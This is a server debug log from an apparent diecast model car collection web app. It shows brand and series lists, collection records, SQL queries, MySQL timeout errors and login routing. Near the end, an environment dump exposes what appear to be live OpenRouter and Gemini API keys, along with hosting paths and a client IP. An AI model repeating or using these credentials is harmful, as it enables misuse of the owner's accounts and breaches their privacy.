  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-27T12:54:23.908Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 32,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-27T12:54:23.909Z server-connect:app Executing action step identify
2026-02-27T12:54:23.909Z server-connect:app options: { provider: 'security' }
2026-02-27T12:54:23.909Z server-connect:output identity: 1
2026-02-27T12:54:23.909Z server-connect:app Executing action step restrict
2026-02-27T12:54:23.909Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:54:23.910Z server-connect:output restrict: undefined
2026-02-27T12:54:23.910Z server-connect:app Executing action step select
2026-02-27T12:54:23.910Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-27T12:54:23.912Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-27T12:54:23.912Z server-connect:app Executing action step select
2026-02-27T12:54:23.912Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-27T12:54:23.913Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-27T12:54:23.913Z server-connect:app Executing action step select
2026-02-27T12:54:23.913Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-27T12:54:23.914Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-27 18:32:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 18:32:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-27 18:36:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 18:36:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-27 19:20:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 19:20:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-28 01:08:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-28 01:08:23' as DATETIME)"
}
2026-02-28T01:58:34.016Z server-connect:router Serving templateView /
2026-02-28T01:58:34.017Z server-connect:app Executing action step identify
2026-02-28T01:58:34.017Z server-connect:app options: { provider: 'security' }
2026-02-28T01:58:34.018Z server-connect:auth No login cookie found
2026-02-28T01:58:34.018Z server-connect:output identity: false
2026-02-28T01:58:34.018Z server-connect:app Executing action step restrict
2026-02-28T01:58:34.018Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-28T01:58:34.019Z server-connect:output restrict: undefined
2026-02-28T01:58:34.121Z server-connect:router Serving templateView /login
2026-02-28T01:58:34.122Z server-connect:app Executing action step identify
2026-02-28T01:58:34.122Z server-connect:app options: { provider: 'security' }
2026-02-28T01:58:34.122Z server-connect:auth No login cookie found
2026-02-28T01:58:34.122Z server-connect:output identity: false
2026-02-28T01:58:34.122Z server-connect:router Render template layouts/authentication
2026-02-28T01:58:34.123Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.221.83.235',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-01T01:58:34.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.221.83.235',
